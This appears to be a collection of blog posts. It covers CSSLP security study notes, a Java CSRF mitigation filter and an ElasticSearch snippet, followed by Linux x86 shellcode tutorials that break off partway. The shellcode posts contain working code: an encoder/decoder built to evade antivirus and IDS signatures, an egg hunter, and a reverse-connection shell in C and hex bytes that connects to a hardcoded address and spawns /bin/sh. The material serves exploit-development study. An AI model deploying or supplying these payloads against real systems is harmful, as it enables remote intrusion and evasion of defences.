(My) CSSLP Notes – Secure Software Concepts

Note: This notes were strongly inspired by the following book: CSSLP Certification All in one.

General Security Concepts

BasicsCSSLP-logo

The security of IT systems can be defined using the following attributes:

  • confidentiality – how the system prevents the disclosure of information.
  • integrity – how the system protects data from the unauthorized access.
  • availability – access to the system by authorized personnel.
  • authentication – process of determining the identity of a user. Three methods can be used to authenticate a user:
    • something you know (ex: password, pin code)
    • something you have (ex: token, card)
    • something you are (ex: biometrics mechanisms)
  • authorization – process of applying access control rules to a user process to determine if a particular user process can access an object.
  • accounting (auditing) – records historical events on a system.
  • non-repudiation – preventing a subject from denying a previous action with an object in a system.

System principles

  • session management – design and implementation of controls to ensure that the communications channels are secured from unauthorized access and disruption of communications.
  • exception management – the process of handling any errors that could appear during the system execution.
  • configuration management – identification and management of the configuration items (initialization parameters, connection strings, paths, keys).

Secure design principles

  • good enough security – there is a trade off between security and other aspects associated with a system. The level of required security must be determined at design time.
  • least privilege – a subject should have only the necessary rights and privileges to perform a specific task.
  • separation of duties – for any given task, more than one individual needs to be involved.
  • defense in depth (layered security) – apply multiple dissimilar security defenses.
  • fail-safe – when a system experience a failure, it should fail to a safe state; all the attributes associated with the system security (confidentiality, integrity, availability) should be appropriately maintained.
  • economy of mechanism – keep the design of the system simple and less complex; reduce the number of dependencies and/or services that the system needs in order to operate.
  • complete mediation – checking permission each time subject requests access to objects.
  • open design – design is not a secret, implementation of safeguard is. (ex: cryptography algorithms are open but the keys used are secret)
  • least common mechanism – minimize the amount of mechanism common to more than one user and depended on by all users. Every shared mechanism (especially one involving shared variables) represents a potential information path between users and must be designed with great care to be sure it does not unintentionally compromise security.
  • psychological acceptability – accessibility to resources should not be inhibited by security mechanisms. If security mechanisms hinder the usability or accessibility of resources, then users may opt to turn off those mechanisms.
  • weakest link – attackers are more likely to attack a weak spot in a software system than to penetrate a heavily fortified component.
  • leverage existing components – component reuse have many advantages, including the increasing of efficiency and security. From the security point of view the component reuse is reducing the attack surface.
  • single point of failure – a system design should not be susceptible to a single point of failure.

Security Models

Access Control Models

Access controls define what actions a subject can perform on specific objects.

  • Bell-LaPadula confidentiality model – It is focused on maintaining the confidentiality of objects. Bell-LaPadula operates by observing two rules: the Simple Security Property and the * Security Property.
    • The Simple security property states that there is “no read up:” a subject at a specific classification level cannot read an object at a higher classification level.
    • The * Security Property is “no write down:”a subject at a higher classification level cannot write to a lower classification level.
  • Take-Grant  – systems specify the rights that a subject can transfer to a from another subject or object. The model is based on representation of the controls in forms of directed graphs with the vertices being the subjects and the objects. The edges between them represent the right between the subject and objects. The representation of rights takes the form of {t (take), g (grant), r (read), w (write)}.
  • Role-based Access control – users are assign a set of roles they may perform. The roles are associated to the access permissions necessary to perform the tasks.
  • MAC (Mandatory Access Control) Model – in MAC systems the owner or subject cannot determine whether access is to be granted to another subject; it is the job of the operating system to decide.
  • DAC (Discretionary Access Control) Model – in DAC systems the owner of an object can decide which other subjects may have access to the object what specific access they may have.

Integrity Models

  • Biba integrity model  – (sometimes referred as Bell-LaPadula upside down) was the first formal integrity model.  Biba is the model of choice when integrity protection is vital. The Biba model has two primary rules: the Simple Integrity Axiom and the * Integrity Axiom. 
    • The Simple Integrity Axiom is “no read down:”a subject at a specific classification level cannot read data at a lower classification. This protects integrity by preventing bad information from moving up from lower integrity levels.
    • The * Integrity Axiom is “no write up:”a subject at a specific classification level cannot write to data at a higher classification. This protects integrity by preventing bad information from moving up to higher integrity levels.
  • Clark-Wilson  –  (this is an informal model) that protects integrity by requiring subjects to access objects via programs. Because the programs have specific limitations to what they can and cannot do to objects, Clark-Wilson effectively limits the capabilities of the subject.Clark-Wilson uses two primary concepts to ensure that security policy is enforced; well-formed transactions and Separation of Duties.

Information Flow Models

Information in a system must be protected when at rest, in transit and in use.

  • The Chinese Wall model – designed to avoid conflicts of interest by prohibiting one person, such as a consultant, from accessing multiple conflict of interest categories (CoIs). The Chinese Wall model requires that CoIs be identified so that once a consultant gains access to one CoI, they cannot read or write to an opposing CoI.

 

Risk Management

Vocabulary

  • risk – possibility of suffering harm or loss
  • residual risk – risk that remains after a control was added to mitigate the initial risk.
  • total risk – the sum of all risks associated with an asset.
  • asset – resource an organization needs to conduct his business.
  • threat – circumstance or event with the potential to cause harm to an asset.
  • vulnerability – any characteristic if an asset that can be exploited by a threat to cause harm.
  • attack – attempting to use a vulnerability.
  • impact – loss resulting when a threat exploits a vulnerability.
  • mitigate – action taken to reduce the likelihood of a threat.
  • control – measure taken to detect, prevent or mitigate the risk associated with a threat.
  • risk assessment – process of identifying risks and mitigating actions.
  • qualitative risk assessment – subjectively determining the impact of an event that effects assets.
  • quantitative risk assessment –  objectively determining the impact of an event that effects assets.
  • single loss expectation (SLE) – linked to the quantitative risk assessment, it represents the monetary loss or impact of each occurrence of a threat.
    • SLE = asset value * exposure factor
  • exposure factor – linked to the quantitative risk assessment, is a measure of the magnitude of a loss.
  • annualized rate of occurrence (ARO) – linked to the quantitative risk assessment, is the frequency with an event is expected to occur on an annualized basis.
    • ARO = number of events / number of years
  • annualized loss of expectancy (ALE) – linked to the quantitative risk assessment, it represents how much an event is expected to cost per year.
    • ALE = SLE * ARO

Types of risks:

  • Business Risks:
    • fraud
    • regulatory
    • treasury management
    • revenue management
    • contract management
  • Technology Risks:
    • security
    • privacy
    • change management

Types of controls

Controls can be classified on types of actions they perform. Three classes of controls exist:

  • administrative
  • technical
  • physical

For each of these classes, there are four types of controls:

  • preventive (deterrent) – used to prevent the vulnerability
  • detective – used to detect the presence of an attack.
  • corrective (recovery) – correct a system after a vulnerability is exploited and an impact has occurred; backups are  a common form of corrective controls.
  • compensation – designed to act when a primary set of controls has failed.

Risk management models

General risk management model

The steps contained in a general risk management model:

  1. Asset identification – identify and clarify all the assets, systems and processes that need to be protected.
  2. Threat assessment – identify the threats and vulnerabilities associated with each asset.
  3. Impact determination and qualification
  4. Control design and evaluation – determine which controls to put in place to mitigate the risks.
  5. Residual risk management – evaluate residual risks to identify where additional controls are needed.

Risk management model proposed by Software Engineering Institute

SEI model steps :

  1. Identity – enumerate potential risks.
  2. Analyze – convert the risk data gather into information that can be used to make decisions.
  3. Plan – decide the actions to take to mitigate them.
  4. Track – monitor the risks and mitigations plans.
  5. Control – make corrections for deviations from the risk mitigation plan.

Security Policies and Regulations

One of the most difficult aspects of prosecution of computer crimes is attribution. Meeting the burden of proof requirement in criminal proceedings, beyond a reasonable doubt, can be difficult given an attacker can often spoof the source of the crime or can leverage different systems under someone else’s control.

Intellectual property

Intellectual property is protected by the U.S law under one of four classifications:

  • patents – Patents provide a monopoly to the patent holder on the right to use, make, or sell an invention for a period of time in exchange for the patent holder’s making the invention public.
  • trademarks – Trademarks are associated with marketing: the purpose is to allow for the creation of a brand that distinguishes the source of products or services.
  • copyrights – represents a type of intellectual property that protects the form of expression in artistic, musical, or literary works, and is typically denoted by the circle c symbol. Software is typically covered by copyright as if it were a literary work. Two important limitations on the exclusivity of the copyright holder’s monopoly exist: the doctrines of first sale and fair use. The first sale doctrine allows a legitimate purchaser of copyrighted material to sell it to another person. If the purchasers of a CD later decide that they no longer cared to own the CD, the first sale doctrine gives them the legal right to sell the copyrighted material even though they are not the copyright holders.
  • trade secrets – business-proprietary information that is important to an organization’s ability to compete. Software source code or firmware code are examples of computer-related objects that an organization may protect as trade secrets.

Privacy and data protection laws

Privacy and data protection laws are enacted to protect information collected and maintained on individuals from unauthorized disclosure or misuse.

Several important pieces of privacy and data protection legislation include :

  • U.S. Federal Privacy Act of 1974 – protects records and information maintained by U.S. government agencies about U.S. citizens and lawful permanent residents.
  •  U.S. Health Insurance Portability and Accountability Act (HIPAA) of 1996 – seeks to guard protected health information from unauthorized use or disclosure.
  • Payment Card Industry Data Security Standard (PCI-DSS) – the goal is to ensure better protection of card holder data through mandating security policy, security devices, control techniques and monitoring of systems and networks.
  • U.S. Gramm-Lech-Bliley Financial Services Modernization Act (GLBA) – requires financial institutions to protect the confidentiality and integrity of consumer financial information.
  • U.S. Sarbanes-Oxley Act of 2002 (SOX) – the primary goal of SOX is to ensure adequate financial disclosure and financial auditor independence.

Secure Software Architecture – Security Frameworks

  • COBIT (Control Objectives for Information and Related Technology)– assist management in bringing the gap between control requirements, technological issues and business risks.
  • COSO (Committee of Sponsoring Organizations of the Treadway Commission) – COSO has established a Enterprise Risk Management -Integrated Framework against which companies and organizations may assess their control systems.
  • ITIL (Information Technology Infrastructure Library) – describes a set of practices focusing on aligning IT services with business needs.
  • SABSA (Sherwood Applied Business Security Architecture) – framework and methodology for developing risk-driven enterprise information security architecture.
  • CMMI (Capability Maturity Model Integration) – process metric model that rates the process maturity of an organization on a 1 to 5 scale.
  • OCTAVE (Operationally Critical Threat, Asset and Vulnerability Evaluation) – suite of tools, techniques and methods for risk-based information security assessment.

 

Software Development Methodologies

Secure Development Lifecycle Components

  • software team awareness and education – all team members should have appropriate training. The key element of team awareness and education is to ensure that all the members are properly equipped with the correct knowledge.
  • gates and security requirements – the term gates it signifies a condition that one must pass through. To pass the security gate a review of the appropriate security requirements is conducted.
  • threat modeling – design technique used to communicate information associated with a threat throughout the development team (for more infos’ you could check my other ticket : threat modeling for mere mortals).
  • fuzzing – a test technique where the tester applies a series of inputs to an interface in an automated fashion and examines the output for undesired behaviors.
  • security reviews – process to ensure that the security-related steps are being carried out and not being short-circuited.

Software Development Models

  • waterfall model – is a linear application development model that uses rigid phases; when one phase ends, the next begins.
  • spiral model – repeats steps of a project, starting with modest goals, and expanding outwards in ever wider spirals (called rounds). Each round of the spiral constitutes a project, and each round may follow traditional software development methodology such as Modified Waterfall. A risk analysis is performed each round.
  • prototype model – working model of software with some limited functionality. Prototyping is used to allow the users evaluate developer proposals and try them out before implementation.
  • agile model
    • Scrum  – contain small teams of developers, called the Scrum Team. They are supported by a Scrum Master, a senior member of the organization who acts like a coach for the team. Finally, the Product Owner is the voice of the business unit.
    • Extreme Programming (XP) – method that uses pairs of programmers who work off a detailed specification.

Microsoft Security Development Lifecycle

SDL is software development process designed ti enable development teams to build more secure software and address security compliance requirements.

SDC is build around the following three elements:

  • (security) by design – the security thinking is incorporated as part of design process.
  • (security) by default – the default configuration of the software is by design as secure as possible.
  • (security) in deployment – security and privacy elements are properly understood and managed through the deployment process.

SDL components:

  • training   security training for all personnel, targeted to their responsibility associated with the development effort.
  • requirements
    • establishment of the security and privacy requirements for the software.
    • creation of quality gates ans bug bars. Defining minimum acceptable levels of security and privacy quality at the start helps a team understand risks associated with security issues, identify and fix security bugs during development, and apply the standards throughout the entire project.Setting a meaningful bug bar involves clearly defining the severity thresholds of security vulnerabilities (for example, no known vulnerabilities in the application with a “critical” or “important” rating at time of release) and never relaxing it once it’s been set.
    • development of security and privacy risk assessment. Examining software design based on costs and regulatory requirements helps a team identify which portions of a project will require threat modeling and security design reviews before release and determine the Privacy Impact Rating of a feature, product, or service.
  • design – establish design requirements, perform attack/surface analysis/reduction and use threat modeling.
  • implementation – application of secure coding practices and the use of static program checkers to find common errors.
  • verification – perform dynamic analysis (tools that monitor application behavior for memory corruption, user privilege issues, and other critical security problems), fuzz testing and conduct attack surface review.
  • release – conduct final security review and create an incident response plan.
  • response – execute incident response plan.

A Java implementation of CSRF mitigation using “double submit cookie” pattern

Goal of this articlecsrf

The goal of this article is to present an implementation of the “double submit cookie” pattern used to mitigate the Cross Site Request Forgery (CSRF) attacks. The proposed implementation is a Java filter plus a few auxiliary classes and it is (obviously) suitable for projects using the Java language as back-end technology.

Definition of CSRF and possible mitigations

In the case of a CSRF attack, the browser is tricked into making unauthorized requests on the victim’s behalf, without the victim’s knowledge. The general attack scenario contains the following steps:

  1. the victim connects to the vulnerable web-site, so it have a real, authenticated session.
  2. the hacker force the victim (usually using a spam/fishing email) to navigate to another (evil) web-site containing the CSRF attack.
  3. when the victim browser execute the (evil) web-site page, the browser will execute a (fraudulent) request to the vulnerable web-site using the user authenticated session. The user is not aware at all of the fact that navigating on the (evil) web-site will trigger an action on the vulnerable web-site.

For deeper explanations I strongly recommend  to read chapter 5 of Iron-Clad Java: Building Secure Applications book and/or the OWASP Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet.

Definition of “double submit cookie” pattern

When a user authenticates to a site, the site should generate a (cryptographically strong) pseudo-random value and set it as a cookie on the user’s machine separate from the session id. The server does not have to save this value in any way, that’s why this patterns is sometimes also called Stateless CSRF Defense.

The site then requires that every transaction request include this random value as a hidden form value (or other request parameter). A cross origin attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy.

In the case of this mitigation technique the job of the client is very simple; just retrieve the CSRF cookie from the response and add it into a special header to all the requests:

csrfclient

Client workflow

The job of the server is a little more complex; create the CSRF cookie and for each request asking for a protected resource, check that the CSRF cookie and the CSRF header of the request are matching:

csrfserver

Server workflow

Note that some JavaScript frameworks like AngularJS implements the client worflow out of the box; see Cross Site Request Forgery (XSRF) Protection

Java implementation of “double submit cookie” pattern

The proposed implementation is on the form of a (Java) Servlet filter and can be found here: GenericCSRFFilter GitHub.

In order to use the filter, you must define it into you web.xml file:

<filter>
   <filter-name>CSRFFilter</filter-name>
   <filter-class>com.github.adriancitu.csrf.GenericCSRFStatelessFilter</filter-class>
<filter>

<filter-mapping>
   <filter-name>CSRFFilter</filter-name>
   <url-pattern>/*</url-pattern>
</filter-mapping>

 

The filter can have 2 optional initialization parameters: csrfCookieName representing the name of the cookie that will store the CSRF token and csrfHeaderName representing the name of the HTTP header that will be also contains the CSRF token.

The default values for these parameters are “XSRF-TOKEN” for the csrfCookieName and “X-XSRF-TOKEN” for the csrhHeaderName, both of them being the default values that AngularJS is expecting to have in order to implement the CSRF protection.

By default the filter have the following features:

  • works with AngularJS.
  • the CSRF token will be a random UUID.
  • all the resources that are NOT accessed through a GET request method will be CSRF protected.
  • the CSRF cookie is replaced after each non GET request method.

How it’s working under the hood

The most of the functionality is in the GenericCSRFStatelessFilter#doFilter method; here is the sequence diagram that explains what’s happening in this method:

doFilter method sequence diagram

doFilter method sequence diagram

The doFilter method is executed on each HTTP request:

  1. The filter creates an instance of ExecutionContext class; this class is a simple POJO containing the initial HTTP request, the HTTP response, the CSRF cookies (if more than one cookie with the csrfCookieName is present) and implementation of the ResourceCheckerHook , TokenBuilderHook and ResponseBuilderHook .(see the next section for the meaning of this classes).
  2. The filter check the status of the HTTP resource, that status can be:MUST_NOT_BE_PROTECTED, MUST_BE_PROTECTED_BUT_NO_COOKIE_ATTACHED,MUST_BE_PROTECTED_AND_COOKIE_ATTACHED (see ResourceStatus enum) using an instance of ResourceCheckerHook.
  3. If the resource status is ResourceStatus#MUST_NOT_BE_PROTECTED
    ResourceStatus#MUST_BE_PROTECTED_BUT_NO_COOKIE_ATTACHED then
    the filter creates a CSRF cookie having as token the token generated by an instance of TokenBuilderHook.
  4. if the resource status ResourceStatus#MUST_BE_PROTECTED_AND_COOKIE_ATTACHED
    then compute the CSRFStatus of the resource and then use an instance of ResponseBuilderHook to return the response to the client.

How to extend the default behavior

It is possible to extend or overwrite the default behavior by implementing the hooks interfaces. All the hooks implementations must be thread safe.

  1. The ResourceCheckerHook is used to check the status of a requested resource. The default implementation is DefaultResourceCheckerHookImpl and it will return ResourceStatus#MUST_NOT_BE_PROTECTED for any HTTP GET method, for all the other request types, it will return [email protected] ResourceStatus#MUST_BE_PROTECTED_BUT_NO_COOKIE_ATTACHED if any CSRF cookie is present in the query or ResourceStatus#MUST_BE_PROTECTED_BUT_NO_COOKIE_ATTACHED otherwise.The interface signature is the following one:
    public interface ResourceCheckerHook extends Closeable {
        ResourceStatus checkResourceStatus(ExecutionContext executionContext);
    }  
  2. The TokenBuilderHook hook is used to generate the token that will be used to create the CSRF cookie. The default implementation  is DefaultTokenBuilderHookImpl and it uses a call to UUID.randomUUID to fetch a token. The interface signature is the following one:
    public interface TokenBuilderHook extends Closeable {
        String buildToken(ExecutionContext executionContext);
    }
  3. The ResponseBuilderHook is used to generate the response to the client depending of the CSRFStatus of the resource. The default implementation is DefaultResponseBuilderHookImpl and it throws a SecurityException if the CSRF status is CSRFStatus#COOKIE_NOT_PRESENT, CSRFStatus#HEADER_TOKEN_NOT_PRESENT or CSRFStatus#COOKIE_TOKEN_AND_HEADER_TOKEN_MISMATCH. If the CSRF status is CSRFStatus#COOKIE_TOKEN_AND_HEADER_TOKEN_MATCH then the old CSRF cookies are deleted and a new CSRF cookie is created. The interface signature is the following one:
    public interface ResponseBuilderHook extends Closeable {
        ServletResponse buildResponse(ExecutionContext executionContext,
                                      CSRFStatus status);
    }
    

The hooks are instantiated inside the GenericCSRFStatelessFilter#init method using the ServiceLoader Java 6 loading facility. So if you want to use your implementation of one of the hooks then you have to create a  META-INF/services directory that contains a text file whose name matches the fully-qualified interface class name of the hook that you want to replace.

Here is the sequence diagram representing the hooks initializations:

initmethod

ElasticSearch:How to programmatically update settings of an existing index

The goal of this ticket is to show how to update programmatically the settings of anelastic ElasticSeach index. I will take as example the ElaticSeachsynonyms. Imagine that for a specific index, you have the following synonyms settings:

 "analysis": {
      "filter": {
        "synonym_filter": {
          "type": "synonym",
          "ignore_case": true,
          "synonyms": [
            "Romania, RO",
            "Belgium, BE"
          ]
        }
      },
....

Now, imagine (also) that you want to add a new entry into the synonyms lists (“France, FR”). You could do this by using the ElasticSearch  REST interface (please go here if you want to know more Elasticsearch: updating the mappings and settings of an existing index) or you can use the Java API offered by ElasticSearch to do the same task programmatically:

//close the index before the update
client.admin().indices().close(new CloseIndexRequest(indexName));

//update the synonyms
client.admin().indices().prepareUpdateSettings(indexName).setSettings(
             Settings.builder()
                .put(
                        //setting prefix
                        "index.analysis.filter.synonym_filter",
                        //group name
                        "synonyms",
                        //settings
                        new String[] {"0", "1", "2"},
                        //values
                        new String []{
                                 "Romania,RO", 
                                 "Belgium,BE", 
                                 "France,FR"
                                      }
                       )
            ).get();

//open the index
client.admin().indices().open(new OpenIndexRequest(indexName));

 

Useful links:

ElasticSearch Doc – Update Indices Settings

(Unofficial) ElasticSearch Java API for the IndicesAdminClieant interface

(Unofficial) ElasticSearch Java API for the ImmutableSettings.Builder.put method

 

 

How to write a (Linux x86) custom encoded shellcode

Goal

Very often the shellcode authors will try to obfuscate the shellcode in order to bypass the ids/ips or the anti-viruses. This kind of shellcode is often call an “encoded shellcode”.  The goal of this ticket is to propose an (rather simple) encoding schema and the decoding part written in assembler.

What is an encoded shellcode

An encoded shellcode is a shellcode that have the payload encoded in order to escape the signature based detection. To work correctly the shellcode must initially decode the payload and then execute it. For a very basic example you can check the A Poor Man’s Shellcode Encoder / Decoder video.

(My) custom encoder

The encoding schema that I propose is the following one:

  • the payload is split in different blocks of random size between 1 and 9 bytes.
  • the first octet of each block represents the size of the original block.
  • the last character of the last block is a special character represented a terminal (0xff).

Supposing that the payload is something like:

0xaa,0xbb,0xcc,0xdd,0xee

One possible encoding version could be:

0x02,0xaa,0xbb,0x01,0xcc,0x03,0xdd,0xee,0xff

or

0x04,0xaa,0xbb,0xcc,0xdd,0x02,0xee,0xff

or

0x09,0xaa,0xbb,0xcc,0xdd,0xee,0xff

If you want to play with this encoding schema you can use the Random-Insertion-Encoder.py program that will write to the console the encoded shellcode for a specific shellcode.

(My) custom decoder

So, initially the payload will be encoded (with the custom shema) and when the shellcode is executed, in order to have a valid payload, the decoder should be executed. The decoder will decode the payload and then pass the execution to the payload.

The first problem that the decoder should solve is to find the memory address of the encoded payload. In order to do this, we will use the “Jump Call Pop” mechanism explained in the Introduction to Linux shellcode writing (Part 2) (paragraph 5.1 ).

The  skeleton of the decoder will look like:

global _start 
section .text
_start:
 jmp short call_shellcode
decoder:
 ; the top of the stack contains the
 ; address of the EncodedShelcode
 
 ; decoder code
call_shellcode:
 call decoder
 EncodedShellcode: db 0x06,.........,0xff

 A few words before showing you the code of the decoder. The decoder basically moves bytes from the right toward the left and skip the first byte of each block until the terminal byte is found. For the move of the bytes the lodsb and stosb instructions are used. These instructions are using the ESI (lodsb) and EDI (stosb) registers, so you can see ESI as a source register and EDI as a destination register.

The DL register is used as block bytes counter and the CL register contains the content of the first byte of each block. So, in order to know if all the bytes of a block had been copied a comparison between DL and CL is done.

A special care should be take before the ESI register is incremented; either manually or automatically by the lodsb instruction. A check should be done if the ESI points to the terminator byte and stop the copy otherwise the decoder will try to read memory locations that do not have access (and the program will stop with a core dumped exception).

So, here is the code of the decoder:

global _start 
section .text
_start:
 jmp short call_shellcode

decoder:
 ;get the adress of the shellcode
 pop esi

 ;allign edi and esi
 lea edi, [esi]

handle_next_block:
 ;check that the esi do not point
 ;to the terminator byte
 xor ecx,ecx
 mov cl, byte[esi]
 mov bl , cl
 xor bl, 0xff

 ;if esi points to terminator byte
 ;then execute the shellcode
 jz short EncodedShellcode

 ;otherwise then ship next byte
 ;because it's the first byte
 ;of the block and it contains
 ;the number of bytes that
 ;the block contains.
 inc esi
 
 ;dl it is used to count the
 ;number of bytes from a block
 ;already copied
 xor edx, edx
 
handle_next_byte:
 ;check that the esi do not point
 ;to the terminator byte
 mov bl, [esi]
 xor bl, 0xff
 
 ;if esi points toterminator byte
 ;then execute the shellcode
 jz short EncodedShellcode
 
 ;otherwise copy the byte pointed by
 ;esi to the location pointed by edi;
 ;esi is automatically incremented by
 ;the lodsb and edi by stosb
 lodsb
 stosb
 
 ;one more byte of the block had been copied
 ;so increment the counter
 inc dl
 
 ;check that all the bytes of the block
 ;have been copied;
 ;cl contains the first byte of the block
 ;representing the number of bytes of the
 ;block and dl contains the number of
 ;block bytes already copied
 cmp cl, dl
 
 ;if not zero then not all the block bytes
 ;have been copied
 jnz handle_next_byte
 
 ;otherwise go to the next block
 jmp handle_next_block
call_shellcode:
 call decoder
 EncodedShellcode: db 0x06,0x31,0xc0,0x50,0x68,0x2f,0x2f,0x09,0x73,0x68,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0x01,0x50,0x07,0x89,0xe2,0x53,0x89,0xe1,0xb0,0x0b,0x01,0xcd,0x09,0x80,0xff

How to test the shellcode

In order to test the shellcode you must follow the next steps:

All the source codes presented in this ticket can be found here: gitHub.

Bibliography

How to write a (Linux x86) egg hunter shellcode

Goal

The goal of this ticket is to write an egg hunter shellcode. An egg hunter is a piece of code that when is executed is looking for another piece of code (usually bigger) called the egg and it passes the execution to the egg. This technique is usually used when the space of executing shellcode is limited (the available space is less than the egg size) and it is possible to inject the egg in another memory location. Because the egg is injected in a non static memory location the egg must start with an egg tag in order to be recognized by the egg hunter.

1. How to test the shellcode

Maybe it will look odd but I will start by presenting the program that it will be used to test the egg hunter. The test program is a modified version of the shelcode.c used in the previous tickets.

#include<stdio.h>
#include<string.h>

#define EGG_TAG "hex version of egg_tag; to be added later"
unsigned char egg_hunter[]= "hex version of egg_hunter; to be added later";
unsigned char egg[] = EGG_TAG EGG_TAG "hex version of egg; to be added later";
main()
{
    int (*ret)() = (int(*)())egg_hunter;
    ret();
}

We start by defining the egg tag, the egg hunter and the egg; the egg is prefixed twice with the egg tag in order to be recognized by the egg hunter. The main program it will just pass the execution to the egg hunter that will search for the egg (which is somewhere in the memory space of the program) and then it will pass the execution to the egg. 

Usually the egg tag is eight bytes and the reason the egg tag repeats itself is because it allows the egg hunter to be more optimized for size so it can search for a single tag that has the same four byte values, one right after the other. This eight byte version of the egg tag tends to allow for enough uniqueness that it can be easily selected without running any high risk of a collision.

2 Implementation

2.1 Define the egg tag

Defining the egg tag is quite easy;  finally it’s up to you to choose a rather unique word. In our case the egg tag is egg1. In order to be used by the egg hunter the tag must be transformed in HEX. I just crafted a small script: fromStringToAscii.sh that will transform the input from char to ASCII equivalent and then to HEX value. So in our case the egg tag value will be 0x31676765.

2.2 Implement the egg hunter

What the egg hunter implementation should do, is firstly find the addressable space allocated to the host process( the process in which the egg hunter is embedded) then, search inside this addressable space for the egg and finally pass the execution to the egg.

On Linux this behavior can be achieved using the access (2) system call. The egg hunter will call systematically access system call in order to find the memory pages that the host process have access and once one accessible page is found, then it looks for the egg. Here is the implementation code:

global _start
section .text
_start:
 xor edx,edx
next_page:
 or dx,0xfff
next_adress:
 ;fill edx with 0x1000=4096 
 ;which represents PAGE_SIZE
 inc edx
 ;load the page memory address to ebx
 lea ebx,[edx+0x4]
 ;0x21=33 access system call number
 push byte +0x21
 pop eax
 int 0x80

 ;compare the result with EFAULT
 cmp al,0xf2
 jz next_page 
 mov eax,0x31676765; this is the egg marker: egg1 in hex
 mov edi,edx
 ;search for the first occurrence of the egg tag
 scasd
 jnz next_adress
 ;search for the second occurrence of the egg tag 
 scasd
 jnz next_adress
 ;execute the egg 
 jmp edi

A much detailed explanation of how this egg hunter work can be found in the Safely Searching Process Virtual Address Space.

3.Putting all together

Now, we have all the missing pieces so we could try to put them together. As egg I used a the reverse connection shellcode from the How to write a reverse connection shellcode. The final result it is something like:

#include<stdio.h>
#include<string.h>

#define PORT_NUMBER "\x6a\xff" // 0xffff
#define IP_ADDRESS "\x0c\x12\x01\x17"
#define EGG_TAG "\x65\x67\x67\x31"

unsigned char egg_hunter[]=
"\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\
xcd\x80\x3c\xf2\x74\xee\xb8"
EGG_TAG
"\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";

unsigned char egg[] = 
EGG_TAG
EGG_TAG
"\x31\xc0\x31\xdb\xb0\x66\x53\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xcd\x80\x89\xc6\xe8\x01
\x00\x00\x00\xc3\x31\xc0\x31\xdb\xb0\x66\x68"
IP_ADDRESS
"\x66"
PORT_NUMBER
"\x66\x6a\x02\x89\xe1\xb3\x03\x6a\x10\x51\x56\x89\xe1\xcd\x80\xe8\x01\x00\x00\x00
\xc3\x31\xc0\x31\xdb\xb0\x3f\x89\xf3\x31\xc9\xcd\x80\x31\xc0\x31\xdb\xb0\x3f\x89
\xf3\x41\xcd\x80\x31\xc0\x31\xdb\xb0\x3f\x89\xf3\x41\x41\xcd\x80\xe8\x01\x00\x00
\x00\xc3\x31\xc0\x31\xdb\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80\xc3\xe8\x78\xff\xff\xff";
main()

{
 printf("EggHunter Length: %d\n", strlen(egg_hunter));
 printf("Shellcode Length: %d\n", strlen(egg));
 int (*ret)() = (int(*)())egg_hunter;
 ret();
}

All the source codes explained presented in this ticket can be found here: gitHub.

Bibliography

How to write a (Linux x86) reverse connection shellcode

Goal

The goal of this ticket is to write a shellcode that makes a connection from the hacked system to a different system where it can be cached by different network tools like net cat

In order to complete this task I will try to follow the workflow that I presented in my previous tickets concerning shellcode writing  (Introduction to Linux shellcode writing, part 1 and part 2)  meaning that i will first write a C version, then I will try to translate the C version in assembler trying to avoid the common shellcode writing pitfalls like null bytes problem and the addressing problem.

This shellcode will also share most of his code with the shellcode from How to write a port-biding shellcode because it have a lot of functionalities and code in common.

 1. The C version of the shellcode

The following listing represents a minimal version (no error checking is done) of a reverse connection program. Basically the program is doing the following actions:

  • create a socket
  • initialize a connection on socket to a specific address and port
  • redirect the stdin, stdout and stderr to the socket
  • execute “bin/sh”
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>

int main( int argc, char *argv[] ) {
 int serverSocketFileDescriptor;
 int clientSocketFileDescriptor; 
 int clilen;
 struct sockaddr_in serv_addr;
 struct sockaddr_in cli_addr;
 
 
 /* First call to socket() function */
 serverSocketFileDescriptor = socket(AF_INET, SOCK_STREAM, 0);
 
 /* Initialize socket structure */
 bzero((char *) &serv_addr, sizeof(serv_addr));
 
 serv_addr.sin_family = AF_INET;
 serv_addr.sin_addr.s_addr = 0x100007f;
 serv_addr.sin_port = htons(65535);
 
 
 /* Initialize a connection on a socket.*/
 clientSocketFileDescriptor = 
    connect(serverSocketFileDescriptor, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
 

 /*Redirect to the new socket the sdtin,stdout,stderr*/
 dup2(serverSocketFileDescriptor, 0);
 dup2(serverSocketFileDescriptor, 1);
 dup2(serverSocketFileDescriptor, 2);

 /*execute /bin/sh */ 
 execve("/bin/sh", NULL, NULL);

 /* Close the sockets*/
 close(clientSocketFileDescriptor);
 close(serverSocketFileDescriptor);
}

2. The assembler version of the shellcode

2.1 Find the system call numbers of the functions used in the C version

The first step in order to write the assembler version is to find the system calls number for each of the calls used in the C version.

For all the socket operations there is only one system call, the number 102:

cat  /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket
#define __NR_socketcall 102

The sub calls numbers can be found in the file /usr/include/linux/net.h :

#define SYS_SOCKET    1        /* sys_socket(2)        */
#define SYS_BIND    2          /* sys_bind(2)            */
#define SYS_CONNECT    3        /* sys_connect(2)        */
#define SYS_LISTEN    4        /* sys_listen(2)        */
#define SYS_ACCEPT    5        /* sys_accept(2)        */

For all the others calls (dup2, execve and close) the system call numbers are:

#define __NR_dup2 63
#define __NR_execve 11
#define __NR_close 6

The second step is to take a look to the man pages of each of the functions used to check the needed parameters for each of the functions.

2.2 Implement the assembler version for each of the functions from the C program

Once we have all the necessary informations for the functions used in the C version (the system call numbers and the parameters) the next step is to write the assembler version of the C program.

The assembler version of the shellcode is strongly inspired from the shellcode of How to write a port-biding shellcode, I just removed the functions that were not needed for the actual shell and added one missing function (the ConnectSocket function).

So, the working implementation have the following structure:

_start:
    call OpenSocket
        ...
        call ConnectSocket 
            ...        
            call Dup2OutInErr
                ...
                call ExecuteBinSh
                    ...
                ret    
            ret
        ret    
    ret

The assembler implementation of the reverse-connection shellcode is the following one:

; Filename: SocketClient.nasm
; Author: [email protected]
; Website: itblog.adrian.citu.name

global _start
 
section .text

